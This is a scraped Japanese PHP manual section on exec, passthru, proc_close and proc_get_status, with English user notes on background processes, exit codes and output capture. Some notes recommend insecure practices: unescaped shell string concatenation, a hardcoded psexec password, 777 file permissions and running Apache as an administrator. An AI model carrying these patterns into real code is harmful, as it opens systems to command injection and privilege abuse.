ユーザーが入力したデータをこの関数に 渡すことを許可する場合、ユーザーが任意のコマンドを実行できるようシステムを欺くことが できないように escapeshellarg() または escapeshellcmd() を適用する必要があります。

注意:

プログラムがこの関数で始まる場合、 バックグラウンドで処理を続けさせるには、 プログラムの出力をファイルや別の出力ストリームにリダイレクトする必要があります。 そうしないと、プログラムが実行を終えるまで PHP はハングしてしまいます。

注意:

Windowsでは、exec() 関数はコマンドを起動するために最初に cmd.exe を起動します。cmd.exe を起動せずに外部プログラムを起動したい場合は、proc_open() 関数を bypass_shell オプションを指定して使うようにしてください。

参考

  • system() - 外部プログラムを実行し、出力を表示する
  • passthru() - 外部プログラムを実行し、未整形の出力を表示する
  • escapeshellcmd() - シェルのメタ文字をエスケープする
  • pcntl_exec() - 現在のプロセス空間で指定したプログラムを実行する
  • バックティック演算子

User Contributed Notes

Hypolite Petovan 03-Apr-2020 03:48
On Unix, to execute a command $cmd in the background, the one and only allowed standard output redirection syntax is "> /path/to/file &". No other valid standard output redirection syntax will allow a command to be ran in the background.

<?php
// The following will be ran in the background
exec($cmd . " > /path/to/file &");

// All the following will NOT be ran in the background
exec($cmd . " >> /path/to/file &");
exec($cmd . " &> /path/to/file &");
exec($cmd . " &>> /path/to/file &");
exec($cmd . " 2>&1 > /path/to/file &");
exec($cmd . " 2>&1 >> /path/to/file &");
?>
Paul Sommer 14-May-2016 01:33
I tried to execute a command in background under Windows.
After struggling for hours with all these half ready examples I would like to share the syntax I found working (for windows at least). This is not tested under Linux as there are more elegant ways to spawn a process.

Based on  the function from Arno van den Brink.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>

This works perfectly with e.g.
<?php
execInBackground('del c:\tmp\*.*')
?>

but the following does NOT work:
<?php
execInBackground('\"c:\path with spaces\my program.exe\"')
?>

Why?
When windows sees quotation marks (\") it thinks this is the window title, not the command.
So, when your command needs quotation marks you HAVE TO provide a window name first, like
execInBackground("\"title\"" "\"c:\path with spaces\my program.exe\")

Quotation marks are mandatiory for window title. Otherwise windows thinks this is the program name.

Weired, but "Hey! it's Windows!" :)
Simon 24-Nov-2014 05:07
Can't get the output from your exec'd command to appear in the $output array?
Is it echo'ing all over your shell instead?

Append "2>&1" to the end of your command, for example:

exec("xmllint --noout ~/desktop/test.xml 2>&1", $retArr, $retVal);

Will fill the array $retArr with the expected output; one line per array key.
juan at laluca dot com 13-Jan-2011 07:36
I was trying to get an acceslist from a remote computer by executing cacls and parse it in php, all in a  Windows environment with Apache. First i discovered psexec.exe from Windows SysInternals.

But with the following line, I didn´t get anything, it get hunged, although from the command line it worked nice:

<?php exec ('c:\\WINDOWS\\system32\\psexec.exe \\192.168.1.224 -u myuser -p mypassword -accepteula cacls c:\\documents\\RRHH && exit', $arrACL ); ?>

To make it work I just followed the next steps:
- execute services.msc and find the apache service (In my case wampapache)
- Right button>Log On tab and change from Local System Account to a user created account, enter the username and the password and restart the service.

(I added this user to the administrators group to avoid permissions problems but its not recommended...)

It worked! And it may work with IIS too so try it if you have the same poblem....

Hope this helps someone, and sorry for my english
alvaro at demogracia dot com 27-Dec-2010 05:27
In Windows, exec() issues an internal call to "cmd /c your_command". This implies that your command must follow the rules imposed by cmd.exe which includes an extra set of quotes around the full command:

- http://ss64.com/nt/cmd.html

Current PHP versions take this into account and add the quotes automatically, but old versions didn't.

Apparently, the change was made in PHP/5.3.0 yet not backported to 5.2.x because it's a backwards incompatible change. To sum up:

- In PHP/5.2 and older you have to surround the full command plus arguments in double quotes
- In PHP/5.3 and greater you don't have to (if you do, your script will break)

If you are interested in the internals, this is the source code:

sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);

It can be found at http://svn.php.net/viewvc/ (please find php/php-src/trunk/TSRM/tsrm_win32.c, the comment system doesn't allow the direct link).
Martin Lakes 21-Dec-2010 08:20
Took quite some time to figure out the line I am going to post next. If you want to execute a command in the background without having the script waiting for the result, you can do the following:

<?php
passthru("/usr/bin/php /path/to/script.php ".$argv_parameter." >> /path/to/log_file.log 2>&1 &");
?>

There are a few thing that are important here.

First of all: put the full path to the php binary, because this command will run under the apache user, and you will probably not have command alias like php set in that user.

Seccond: Note 2 things at the end of the command string: the '2>&1' and the '&'. The '2>&1' is for redirecting errors to the standard IO. And the most important thing is the '&' at the end of the command string, which tells the terminal not to wait for a response.

Third: Make sure you have 777 permissions on the 'log_file.log' file

Enojy!
elwiz at 3e dot pl 06-Sep-2010 06:10
On Windows-Apache-PHP servers there is a problem with using the exec command more than once at the same time. If a script (with the exec command) is loaded more than once by the same user at the same time the server will freeze.
In my case the PHP script using the exec command was used as the source of an image tag. More than one image in one HTML made the server stop.
The problem is described here (http://bugs.php.net/bug.php?id=44942) toghether with a solution - stop the session before the exec command and start it again after it.

<?php

session_write_close();
exec($cmd);
session_start();

?>
bahri at bahri dot info 20-Mar-2009 01:15
[NOTE BY danbrown AT php DOT net: The following is a Linux script that the contributor of this note suggests be placed in a file named 'pstools.inc.php' to execute a process, check if a process exists, and kill a process by ID.  Inspired by the Windows version at http://php.net/exec#59428 ]

<?php
  function PsExecute($command, $timeout = 60, $sleep = 2) {
        // First, execute the process, get the process ID

        $pid = PsExec($command);

        if( $pid === false )
            return false;

        $cur = 0;
        // Second, loop for $timeout seconds checking if process is running
        while( $cur < $timeout ) {
            sleep($sleep);
            $cur += $sleep;
            // If process is no longer running, return true;

           echo "\n ---- $cur ------ \n";

            if( !PsExists($pid) )
                return true; // Process must have exited, success!
        }

        // If process is still running after timeout, kill the process and return false
        PsKill($pid);
        return false;
    }

    function PsExec($commandJob) {

        $command = $commandJob.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $pid = (int)$op[0];

        if($pid!="") return $pid;

        return false;
    }

    function PsExists($pid) {

        exec("ps ax | grep $pid 2>&1", $output);

        while( list(,$row) = each($output) ) {

                $row_array = explode(" ", $row);
                $check_pid = $row_array[0];

                if($pid == $check_pid) {
                        return true;
                }

        }

        return false;
    }

    function PsKill($pid) {
        exec("kill -9 $pid", $output);
    }
?>
dell_petter at hotmail dot com 04-Feb-2009 02:52
(This is for linux users only).

We know now how we can fork a process in linux with the & operator.
And by using command: nohup MY_COMMAND > /dev/null 2>&1 & echo $! we can return the pid of the process.

This small class is made so you can keep in track of your created processes ( meaning start/stop/status ).

You may use it to start a process or join an exisiting PID process.

<?php
    // You may use status(), start(), and stop(). notice that start() method gets called automatically one time.
    $process = new Process('ls -al');

    // or if you got the pid, however here only the status() metod will work.
    $process = new Process();
    $process.setPid(my_pid);
?>

<?php
    // Then you can start/stop/ check status of the job.
    $process.stop();
    $process.start();
    if ($process.status()){
        echo "The process is currently running";
    }else{
        echo "The process is not running.";
    }
?>

<?php
/* An easy way to keep in track of external processes.
 * Ever wanted to execute a process in php, but you still wanted to have somewhat controll of the process ? Well.. This is a way of doing it.
 * @compability: Linux only. (Windows does not work).
 * @author: Peec
 */
class Process{
    private $pid;
    private $command;

    public function __construct($cl=false){
        if ($cl != false){
            $this->command = $cl;
            $this->runCom();
        }
    }
    private function runCom(){
        $command = 'nohup '.$this->command.' > /dev/null 2>&1 & echo $!';
        exec($command ,$op);
        $this->pid = (int)$op[0];
    }

    public function setPid($pid){
        $this->pid = $pid;
    }

    public function getPid(){
        return $this->pid;
    }

    public function status(){
        $command = 'ps -p '.$this->pid;
        exec($command,$op);
        if (!isset($op[1]))return false;
        else return true;
    }

    public function start(){
        if ($this->command != '')$this->runCom();
        else return true;
    }

    public function stop(){
        $command = 'kill '.$this->pid;
        exec($command);
        if ($this->status() == false)return true;
        else return false;
    }
}
?>
Arno van den Brink 13-Oct-2008 08:04
This will execute $cmd in the background (no cmd window) without PHP waiting for it to finish, on both Windows and Unix.

<?php
function execInBackground($cmd) {
    if (substr(php_uname(), 0, 7) == "Windows"){
        pclose(popen("start /B ". $cmd, "r"));
    }
    else {
        exec($cmd . " > /dev/null &");
    }
}
?>
dr_jones153 at hotmail dot com 23-Jan-2008 07:04
If SAFE_MODE is on, and you are trying to run a script in the background by appending "> /dev/null 2> /dev/null & echo $!" to the command line, the browser will hang until the script is done.

My solution:

Create a shell script (ex. runscript.sh) which contains the execution line for the script you are trying to run in the background.
The runscript.sh is run by an exec() call without the redirect string, which is now placed in the runscript.sh.

runscript.sh will return almost immediately because output of the original script is redirected, and so will not hang your browser and the script runs fine in the background.
Farhad Malekpour 26-Jul-2007 04:24
If you're trying to use exec in a script that uses signal SIGCHLD, (i.e. pcntl_signal(SIGCHLD,'sigHandler');) it will return -1 as the exit code of the command (although output is correct!). To resolve this remove the signal handler and add it again after exec. Code will be something like this:

...
pcntl_signal(SIGCHLD, 'sigHandler');
...
...
(more codes, functions, classes, etc)
...
...
// Now executing the command via exec
// Clear the signal
pcntl_signal(SIGCHLD, SIG_DFL);
// Execute the command
exec('mycommand',$output,$retval);
// Set the signal back to our handler
pcntl_signal(SIGCHLD, 'sigHandler');
// At this point we have correct value of $retval.

Same solution can apply to system and passthru as well.
Bob-PHP at HamsterRepublic dot com 18-Oct-2005 11:00
exec strips trailing whitespace off the output of a command. This makes it impossible to capture signifigant whitespace. For example, suppose that a program outputs columns of tab-delimited text, and the last column contains empty fields on some lines. The trailing tabs are important, but get thrown away.

If you need to preserve trialing whitespace, you must use popen() instead.
layton at layton dot tk 18-Jan-2005 03:52
This is the second time this one got me, I thought someone else might find this note useful too.

I am creating a long running exec'd process that I can access with page submissions up to 2 hours later. The problem is this, the first time I access the page everything works like it should. The second time the web browser waits and waits and never gets any messages -- the CPU time is not affected so it is apparent that something is blocked.

What is actually happening is that all of the open files are being copied to the exec'd process -- including the network connections. So the second time I try to access the web page, I am being given the old http network connection which is now being ignored.

The solution is to scan all file handles from 3 on up and close them all. Remember that handles 0, 1, and 2 are standard input, standard output, and standard error.
msheakoski @t yahoo d@t com 08-Jul-2004 08:40
I too wrestled with getting a program to run in the background in Windows while the script continues to execute.  This method unlike the other solutions allows you to start any program minimized, maximized, or with no window at all.  llbra@phpbrasil's solution does work but it sometimes produces an unwanted window on the desktop when you really want the task to run hidden.

start Notepad.exe minimized in the background:

<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("notepad.exe", 7, false);
?>

start a shell command invisible in the background:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("cmd /C dir /S %windir%", 0, false);
?>

start MSPaint maximized and wait for you to close it before continuing the script:
<?php
$WshShell = new COM("WScript.Shell");
$oExec = $WshShell->Run("mspaint.exe", 3, true);
?>

For more info on the Run() method go to:
http://msdn.microsoft.com/library/en-us/script56/html/wsMthRun.asp
hans at internit dot NO_SPAM dot com 02-Feb-2002 02:25
From what I've gathered asking around, there is no way to pass back a perl array into a php script using the exec function.

The suggestion is to just print out your perl array variables at the end of your script, and then grabbing each array member from the array returned by the exec function. If you will be passing multiple arrays, or if you need to keep track of array keys as well as values, then as you print each array or hash variable at the end of your perl script, you should concatenate the value with the key and array name, using an underscore, as in:

foreach (@array) print "(array name)_(member_key)_($_)" ;

Then you would simply iterate through the array returned by the exec function, and split each variable along the underscore.

Here I like to especially thank Marat for the knowledge. Hope this is useful to others in search for similar answer!


外部プログラムを実行し、未整形の出力を表示する

  • ≪ exec
  • proc_close ≫
  • PHP Manual
  • プログラム実行関数
  • 外部プログラムを実行し、未整形の出力を表示する

passthru

(PHP 4, PHP 5, PHP 7, PHP 8)

passthru — 外部プログラムを実行し、未整形の出力を表示する

説明

passthru ( string $command , int &$return_var = ? ) : void

passthru()関数はexec()関数と同様、 commandを実行します。 引数 return_var を指定した場合、 Unix コマンドのステータスで置換されます。 この関数は Unix コマンドからの出力がバイナリデータであり、 ブラウザーへ直接返す必要がある場合、exec() もしくはsystem()の代わりに使用する必要があります。 よく使うのは、直接画像ストリームを出力することができる pbmplus ユーティリティの様なものを実行する場合です。content-type を image/gif に設定して、gifを出力するpbmplus プログラムを呼び出すことにより、直接画像を出力する PHP スクリプトを作成 することができます。

パラメータ

command

実行するコマンド

return_var

引数return_varが存在する場合、 Unix コマンドのステータスがこの変数に書かれます。

返り値

値を返しません。

注意

警告

ユーザーが入力したデータをこの関数に 渡すことを許可する場合、ユーザーが任意のコマンドを実行できるようシステムを欺くことが できないように escapeshellarg() または escapeshellcmd() を適用する必要があります。

注意:

プログラムがこの関数で始まる場合、 バックグラウンドで処理を続けさせるには、 プログラムの出力をファイルや別の出力ストリームにリダイレクトする必要があります。 そうしないと、プログラムが実行を終えるまで PHP はハングしてしまいます。

参考

  • exec() - 外部プログラムを実行する
  • system() - 外部プログラムを実行し、出力を表示する
  • popen() - プロセスへのファイルポインタをオープンする
  • escapeshellcmd() - シェルのメタ文字をエスケープする
  • バックティック演算子

User Contributed Notes

tox at novasonica dot com 03-Sep-2019 10:57
I was trying to implement a system that allows running arbitrary CLI commands with parameters, but I kept running into the issues with user prompts from the command as they would let execution hang. The solution is simple: just use passthru() as it outputs everything and correctly handles user prompts out of the box.
me at yourMomsPussy dot cum 22-Nov-2016 03:46
`command` // back ticks drop you out of PHP mode into shell
exec('command', $output); // exec will allow you to capture the return of a command as reference
shell_exec('command'); // will return the output to a variable
system(); //as seen above.
myselfasunder at gmail dot com dot dfvuks 29-Nov-2010 01:00
PHP's program-execution commands fail miserably when it comes to STDERR, and the proc_open() command doesn't work all that consistently in non-blocking mode under Windows.

This command, although useful, is no different. To form a mechanism that will see/capture both STDOUT and STDERR output, pipe the command to the 'tee' command (which can be found for Windows), and wrap the whole thing in output buffering.

Dustin Oprea
Chroot 29-Jul-2008 09:48
If you have chrooted apache and php, you will also want to put /bin/sh into the chrooted environment. Otherwise, the exec() or passthru() will not function properly, and will produce error code 127, file not found.
jo at durchholz dot org 22-Nov-2007 12:17
Note to Paul Giblock: the command *is* run through the shell.
You can verify this on any Linux system with

<?php
passthru ('echo $PATH');
?>

You'll get the content of the PATH environment variable, not the string $PATH.
Paul Giblock 18-May-2007 11:30
Stuart:

The pasthru function does not execute the program through the shell.  What this mean, among other things, is that your PATH variable is never set.  Therefore, you have to use full paths on everything.

I believe system() will run your program underneith a shell.  This allow the program to run in a 'normal' environment.

-Paul
nuker at list dot ru 03-Jan-2006 05:51
I wrote function, that gets proxy server value from the Internet Explorer (from
registry). It was tested in Windows XP Pro

(Sorry for my English)

<?php
function getProxyFromIE()
{
        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyEnable",
        $proxyenable,$proxyenable_status);

        exec("reg query \"HKEY_CURRENT_USER\Software\Microsoft".
        "\Windows\CurrentVersion\Internet Settings\" /v ProxyServer",
        $proxyserver);

        if($proxyenable_status!=0)
        return false; #Can't access the registry! Very very bad...
        else
        {
        $enabled=substr($proxyenable[4],-1,1);
        if($enabled==0)
        return false;
        else
        {
        $proxy=ereg_replace("^[ \t]{1,10}ProxyServer\tREG_SZ[ \t]{1,20}","",
        $proxyserver[4]);

        if(ereg("[\=\;]",$proxy))
        {
             $proxy=explode(";",$proxy);
             foreach($proxy as $i => $v)
             {
                   if(ereg("http",$v))
                   {
                   $proxy=str_replace("http=","",$v);
                   break;
                   }
             }
             if(@!ereg("^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\:".
             "[0-9]{1,5}$",$proxy))
             return false;
             else
             return $proxy;
        }
        else
        return $proxy;
        }

        }
}
?>
Note, that this function returns FALSE if proxy is disabled in Internet
Explorer. This function returns ONLY HTTP proxy server.

Usage:
<?php
$proxy=getProxyFromIE();
if(!$proxy)
echo "Can't get proxy!";
else
echo $proxy;
?>
Stuart Eve 08-Dec-2005 11:24
I dunno if anyone else might find this useful, but when I was trying to use the passthru() command on Suse9.3 I was having no success with the command:

$command = 'gdal_translate blahahahaha';

passthru($command);

It only worked once I put:

$command = '/usr/bin/local/gdal_translate blalalala';

passthru($command);
vijayramanan at rediffmail dot com 13-Oct-2005 03:09
I had an issue when i used exec

I think we were echoing information on the test.php script.
for eg: when we tried

exec(php test.php,$array,$error);

the return was 127 and the code was failing.

checking the note on this page gave us a hint to use passthru instead.
The only thing to note is that you need to provide the fuull path.

now our command became

passthru(/bin/php /pathtotest/test.php,$array,$error);

this works.

yipeee!!!!!
stuartc1 at NOSPAM dot hotmail dot com 09-Aug-2005 07:52
Thought it might beuseful to note the passthru seems to supress error messages whilst being run in Dos on Windows (test on NT).

To show FULL raw output including errors, use system().
igor at bboy dot ru 23-Jun-2005 01:33
If you are using passthru() to download files (for dynamically generated content or something outside webserver root) using similar code:

header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"myfile.zip\"");
header("Content-Length: 11111");
passthru("cat myfile.zip",$err);

and your download goes fine, but subsequent downloads / link clicks are screwed up, with headers and binary data being all over the website, try putting

exit();

after the passthrough. This will exit the script after the download is done and will not interfere with any future actions.
sarel dot w at envent dot co dot za 08-Mar-2005 11:33
Zak Estrada
14-Dec-2004 11:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).

Remember, you'll also get this error if your file does not have executable permission.
puppy at cyberpuppy dot org 02-Mar-2005 02:50
Regarding swbrown's comment...you need to use an output buffer if you don't want the data displayed.

For example:
ob_start();
passthru("<i>command</i>");
$var = ob_get_contents();
ob_end_clean(); //Use this instead of ob_flush()

This gets all the output from the command, and exits without sending any data to stdout.
Zak Estrada 14-Dec-2004 08:21
Remember to use the full path (IE '/usr/local/bin/foo' instead of 'foo') when using passthru, otherwise you'll get an exit code of 127 (command not found).
php @ richud dot com 27-May-2004 08:30
Regarding kpierre's post, be mindful that if you shell script errors, you will find the error output from it in the base error_log file (not virtualhost error_log) in apache.
jcr at marvel-databadge dot com 04-Sep-2003 11:23
With apache 2.x on RH9 passthru() writes 1 byte at a time. Apache 2.x buffers and chunk encodes the output for you - but the chunked encoding devides the output in chunks of 1 byte each...thus several bytes of overhead per byte. I guess that buffering behaviour is by design - but caused problems for me with IE adobe acrobot 5 plugin. The plugin doesn't like like it if you send it a stream of 1 byte chunks - it tells you your file is not a pdf or gives a blank screen. Using output buffering (ob_start / ob_endflush) gives reasonable size chunks and the plugin works OK.
swbrown at ucsd dot edu 03-Jun-2003 08:41
passthru() seems absolutely determined to buffer output no matter what you do, even with ob_implicit_flush().  The solution seems to be to use popen() instead.
kpierre at fit dot edu 30-Jan-2002 07:35
The documention does not mention that passthru() will only display standard output and not standard error.

If you are running a script you can pipe the STDERR to STDOUT by doing

exec 2>&1

Eg. the script below will actually print something with the passthru() function...

#!/bin/sh
exec 2>&1
ulimit -t 60
cat nosuchfile.txt
andreas dot hochsteger at oeamtc dot at 03-Oct-2001 07:51
If you sometimes get no output from passthru() use system() instead. This solved this problem for me (php 4.0.5 on Tru64 Unix compiled with gcc).
sidney at jigsaw dot nl 20-Jun-2001 05:25
PJ's ulimit example is nice; however, if you include multiple commands in the script after the ulimit command, each gets its own, seperate 60 second time slot!<br>

Furthermore, these sixty seconds are *CPU* time. Most programs hang for other reasons than CPU hogging (for example, waiting for a database connection) so for most purposes the number 60 is rather too high.<br>

Try "ulimit -t 1" first, which will give you about 10^9 cycles on modern hardware -- quite enough to get a lot of work done!
PJ at piggei dot com 14-Feb-2001 05:06
About the problem of zombies, you may call a bash script like this:

--------------------------
#! /bin/bash
ulimit -t 60

<your command here>
--------------------------


proc_open で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す

  • ≪ passthru
  • proc_get_status ≫
  • PHP Manual
  • プログラム実行関数
  • proc_open で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す

proc_close

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

proc_close — proc_open() で開かれたプロセスを閉じ、 そのプロセスの終了コードを返す

説明

proc_close ( resource $process ) : int

proc_close() は pclose() と似ていますが、proc_open() で開かれたプロセスに対してのみ機能するという点で異なります。 proc_close() は、プロセスが終了するまで待った後で、 終了コードを返します。もし、そのプロセスに対してパイプが開かれていた場合は、 デッドロックを避けるため、この関数が呼び出された時点でそのパイプは閉じられます - パイプが開いている間、子プロセスは終了できないからです。

パラメータ

process

閉じられる proc_open() リソース

返り値

実行していたプロセスの終了状態を返します。 エラーが発生した場合は -1 を返します。

注意:

PHP のコンパイル時に --enable-sigchild を指定した場合は、この関数の返り値は未定義となります。

User Contributed Notes

Uwe Ohse 03-Sep-2015 11:12
Regarding: "Returns the termination status of the process that was run. In case of an error then -1 is returned."

This is, at best, misleading. It returns:
* -1 on error,
* WEXITSTATUS(status) if WIFEXITED(status) is true, or
* status if WIFEXITED(status) is false,
where status is the status parameter of waitpid().

This makes it impossible to differentiate between a relatively normal exit or a termination by signal, and reduces the value of the proc_close return code to a binary one (ok / something broke).

This can be seen in proc_open_rsrc_dtor() in ext/standard/proc_open.c (PHP 5.4.44, 5.6.12).
morrisdavidd at gmail dot com 04-Jun-2008 04:41
Consider the following pseudo code:

$SOME_PROCESS = proc_open(/* something here */);
...
$status = proc_get_status($SOME_PROCESS);
...
$exitCode = proc_close($SOME_PROCESS);

If the external program has exited on its own before the call to proc_get_status, then $exitCode == -1

So consider using:
$actualExitCode = ($status["running"] ? $exitCode : $status["exitcode"] );
ashnazg at php dot net 05-Oct-2007 02:25
It seems that if you configured --enable-sigchild when you compiled PHP (which from my reading is required for you to use Oracle stuff), then return codes from proc_close() cannot be trusted.

Using proc_open's Example 1998's code on versions I have of PHP4 (4.4.7) and PHP5 (5.2.4), the return code is always "-1".  This is also the only return code I can cause by running other shell commands whether they succeed or fail.

I don't see this caveat mentioned anywhere except on this old bug report -- http://bugs.php.net/bug.php?id=29123
oohay251 at yahoo dot com 15-Sep-2005 07:06
From various Internet posts and recent experience, I have observed that you cannot rely on proc_close returning the accurate return code of the child process. The return code also depends on wether or not you read from the stdout/stderr pipes, as my example shows. I work around this by writing the exit code to an additional file descriptor.

<?
$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    $exit=proc_close($proc);
    print_r($output);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd", $descriptorspec, $pipes);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    $exit=proc_close($proc);
    echo "exitcode $exit\n\n";

$descriptorspec = array(
       0 => array('pipe', 'r'),  // stdin is a pipe that the child will read from
       1 => array('pipe', 'w'),  // stdout is a pipe that the child will write to
       2 => array('pipe', 'w'), // stderr is a pipe that the child will write to
       3 => array('pipe', 'w'), // stderr is a pipe that the child will write to
    );
    $proc = @proc_open("/bin/ls -l /etc/passwd;echo $? >&3", $descriptorspec, $pipes);
    fclose($pipes[0]);
    $output = array();
    //comment next line to get correct exicode
    while (!feof($pipes[1])) array_push($output, rtrim(fgets($pipes[1],1024),"\n"));
    fclose($pipes[1]);
    while (!feof($pipes[2])) array_push($output, rtrim(fgets($pipes[2],1024),"\n"));
    fclose($pipes[2]);
    if (!feof($pipes[3])) $output['exitcode']=rtrim(fgets($pipes[3],5),"\n");
    fclose($pipes[3]);
    proc_close($proc);
    print_r($output);
?>

Outputs on my system:

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
)
exitcode -1

exitcode 1

Array
(
    [0] => -rw-r--r--  1 root root 1460 2005-09-02 09:52 /etc/passwd
    [1] =>
    [2] =>
    [exitcode] => 0
)
sergey1369 at narod dot ru 29-Aug-2003 03:16
Under PHP/4.3.3RC2, in case of two processes
these function may hangs. Work around is not use
proc_close, or put it after all fcloses done.

For example, this code hangs.

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]); proc_close($ph1);
fclose($pipes2[0]); fclose($pipes2[1]); proc_close($ph2);

This code worked for me:

$ph1 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes1);
$ph2 = proc_open("cat",
 array(0=>array("pipe","r"),1=>array("pipe","w")),
 $pipes2);

fclose($pipes1[0]); fclose($pipes1[1]);
fclose($pipes2[0]); fclose($pipes2[1]);
proc_close($ph1); proc_close($ph2);


proc_open で開かれたプロセスに関する情報を取得する

  • ≪ proc_close
  • proc_nice ≫
  • PHP Manual
  • プログラム実行関数
  • proc_open で開かれたプロセスに関する情報を取得する

proc_get_status

(PHP 5, PHP 7, PHP 8)

proc_get_status — proc_open() で開かれたプロセスに関する情報を取得する

説明

proc_get_status ( resource $process ) : array

proc_get_status() は、proc_open() で開かれたプロセスに関する情報を取得します。

パラメータ

process

評価される proc_open() リソース

返り値

成功時は集められた情報の配列、失敗時は false 。 返される配列は次のような要素を持ちます:

要素 | 型 | 説明
command | string | proc_open() に指定されたコマンド文字列。
pid | int | プロセス ID
running | bool | もしプロセスがまだ動いている場合は、true 、すでに終了している場合は false。
signaled | bool | 子プロセスが、キャッチされていないシグナルにより終了した場合に true となります。Windows では常に false にセットされます。
stopped | bool | 子プロセスが、シグナルにより停止した時に true となります。 Windows では常に false にセットされます。
exitcode | int | プロセスが返した終了コード (running が false の時のみ意味を持ちます)。 正しい値を返すのは関数を最初にコールした時のみで、次に コールした際には -1 を返します。
termsig | int | プロセスを終了させたシグナルの番号です (signaled が true の時のみ意味を持ちます)。
stopsig | int | プロセスを停止させたシグナルの番号です (stopped が true の時のみ意味を持ちます)。

参考

  • proc_open() - コマンドを実行し、入出力用にファイルポインタを開く

User Contributed Notes

Lachlan Mulcahy 30-Mar-2011 11:40
It is worth noting that proc_get_status will continue to indicate the process that you spawned is running (because it is!) until that process has been able to write everything it wants to write to the STDOUT and STDERR streams.

PHP seems to use a buffer for this and so the spawned process can can get it's write calls to return immediately.

However, once this buffer is full the write call will block until you read out some of the information from the stream/pipe.

This can manifest itself in many ways but generally the called process will still be running, but just not doing anything as it is blocking on being able to write more to STDERR or STDOUT -- whichever stream buffer is full.

To work around this you should include in your loop of checking proc_get_status' running element a "stream_get_contents" on the relevant pipes.

I generally use stream_set_blocking($pipies[2], 0) kind of calls to make sure that the stream_get_contents call will not block if there is no data in the stream.

This one had me stumped for a while, so hopefully it helps someone!
Mark Seecof 06-Sep-2009 08:36
On Unix/Linux, if you change the command line you pass to proc_open() just slightly then proc_get_status() will give you the actual process-id (pid) of your child.

Suppose you wish to run the external command /usr/bin/compress to create a BSD foo.Z file.  Rather than proc_open("/usr/bin/compress /tmp/foo",...) you may invoke proc_open("exec /usr/bin/compress /tmp/foo",...) and then proc_get_status()['pid'] will be the actual pid of /usr/bin/compress.

Why?  Because the way proc_open() actually works on Unix/Linux is by starting "/bin/sh -c usercmd userargs...", e.g., "/bin/sh -c /usr/bin/compress /tmp/foo".[Note 1]  That means normally your command is the child of the shell, so the pid you retrieve with proc_get_status() is the pid of the shell (PHP's child), and you have to fumble around trying to find the pid of your command (PHP's grandchild).  But if you put "exec" in front of your command, you tell the shell to *replace itself* with your command without starting another process (technically, to exec your command without forking first).  That means your command will inherit the pid of the shell, which is the pid that proc_get_status() returns.

So if you would like the actual pid of the process running your command, just prepend "exec " to  your proc_open() command argument then retrieve the pid using proc_get_status().

This also makes proc_terminate() and proc_close() work more like you might prefer, since they will affect the actual process running your command (which will be a child process rather than a grandchild process).

[Note 1] My guess is that the PHP developers want the shell to expand wildcards in path/filenames.
php dot net at crazedsanity dot com 10-Jul-2009 08:29
For clarification, the "exitcode" is only valid the FIRST TIME IT IS CALLED after the process exits.

If you have a method that polls a spawned process for its status, you *MUST* have that same method capture the exitcode: if the method is called a second time (after realizing the pid is dead) and it hasn't cached that exitcode, it will receive the -1 mentioned.
lytithwyn at gmail dot com 29-Dec-2008 06:51
I have had lots of problems in the past bit trying to kill external commands run by proc_open.

Others have suggested using ps to find the children of the pid returned by proc_get_status, but on my system this doesn't work.  I'm using php-5.2.5 and apache-2.0.59 on linux kernel 2.6.21, and the processes I start with proc_open end up being owned by init (pid 1), not by the pid returned by proc_get_status.

I did notice, however, that the pid's of the processes were always above and very close to the proc_get_status pid.  Using that information, I wrote a little function that takes the name of a command, the starting pid at which to search (which would be the proc_get_status pid), and optionally a search limit as arguments.  It will use ps to list processes owned by apache (you may have to change this user name for your system), and search for the command specified.  The limit tells how far above the starting pid to search.  This will help if the command may have already exited, and you don't want to kill a process from a different session than the one you're working with.

Here's the code:

<?php
function findCommandPID($command, $startpid, $limit = 3)
{
    $ps = `ps -u apache --sort=pid -o comm= -o pid=`;
    $ps_lines = explode("\n", $ps);

    $pattern = "/(\S{1,})(\s{1,})(\d{1,})/";

    foreach($ps_lines as $line)
    {
        if(preg_match($pattern, $line, $matches))
        {
            //this limits us to finding the command within $limit pid's of the parent;
            //eg, if ppid = 245, limit = 3, we won't search past 248
            if($matches[3] > $startpid + $limit)
                break;

            //try to match a ps line where the command matches our search
            //at a higher pid than our parent
